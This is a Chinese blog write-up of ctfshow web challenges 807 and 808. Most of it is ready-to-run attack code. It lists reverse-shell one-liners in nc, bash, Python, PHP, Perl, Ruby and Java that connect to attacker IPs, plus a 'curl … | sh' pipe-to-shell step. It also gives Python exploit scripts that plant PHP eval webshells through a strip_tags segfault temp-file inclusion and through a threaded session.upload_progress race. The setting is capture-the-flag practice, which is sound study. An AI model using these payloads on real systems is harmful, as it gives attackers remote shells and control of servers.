ctfshow web807-808

455 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。 @TOC

0x00 前言

接上一篇继续记录ctfshow web入门常用姿势 嗝

807 反弹shell N种姿势

参考

cloud.tencent.com/developer/a…

nc 不同操作系统情况不同 多试试

  • nc ip port -e /bin/sh (alpine)
  • nc -e /bin/bash ip port
  • nc -e /bin/sh ip port
  • nc -c bash ip port

bash

  • bash -c "bash -i >& /dev/tcp/ip/port 0>&1" (tcp)
  • sh -i >& /dev/tcp/ip/port 0>&1 (udp)

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

perl

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

编译执行 javac Revs.java java Revs

祭出群主超人做的集合网站 your-shell.com/ curl your-shell.com/ip:port |sh 直接回弹 在这里插入图片描述

808 卡临时文件包含

参考

blog.csdn.net/qq_45521281…

CVE-2018-14884

影响版本:An issue was discovered in PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1 wappalyzer分析出题目环境php版本为7.0.33不知道为啥也能用了

php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

import requests

url="http://483248ff-82c5-42bb-a11b-aae16c8857e8.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"

files={
    'file':('<?php eval($_REQUEST[kidult]);?>')
    }
r=requests.post(url=url,files=files)

再访问就有了 在这里插入图片描述 在这里插入图片描述

穿插一个session.upload_progress

参考

www.freebuf.com/articles/we…

利用条件

  • session.upload_progress.enabled = on
  • session.upload_progress.cleanup = on
  • session.upload_progress.prefix = "upload_progress_"
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.use_strict_mode

session.upload_progress.enabled可以控制是否开启session.upload_progress功能 session.upload_progress.cleanup可以控制是否在上传之后删除文件内容 session.upload_progress.prefix可以设置上传文件内容的前缀 session.upload_progress.name的值即为session中的键值

session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中

不过对容器很不友好..

import requests
import io
import threading

url = "http://7d3140f4-beae-498e-a5ac-41b0398aa2ed.challenge.ctf.show/index.php"
sessid = "kidult"

def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
        data={
        'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
        },
        cookies={
        'PHPSESSID': sessid
        },
        files={
        'file': ('kidult.jpg', filebytes)
        }
        )

def read(session):
    while True:
        res = session.post(url+"?a=/tmp/sess_"+sessid,
        data={
        "1":"<?php echo 333;system('cat /*');?>"
        },
        cookies={
        "PHPSESSID":sessid
        }
        )
        res2 = session.get("http://7d3140f4-beae-498e-a5ac-41b0398aa2ed.challenge.ctf.show/?file=/tmp/sess_kidult")
        if '333' in res2.text:
            print(res2.text)
            print("成功写入!")
            exit()
        else:
            print("Retry")

if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()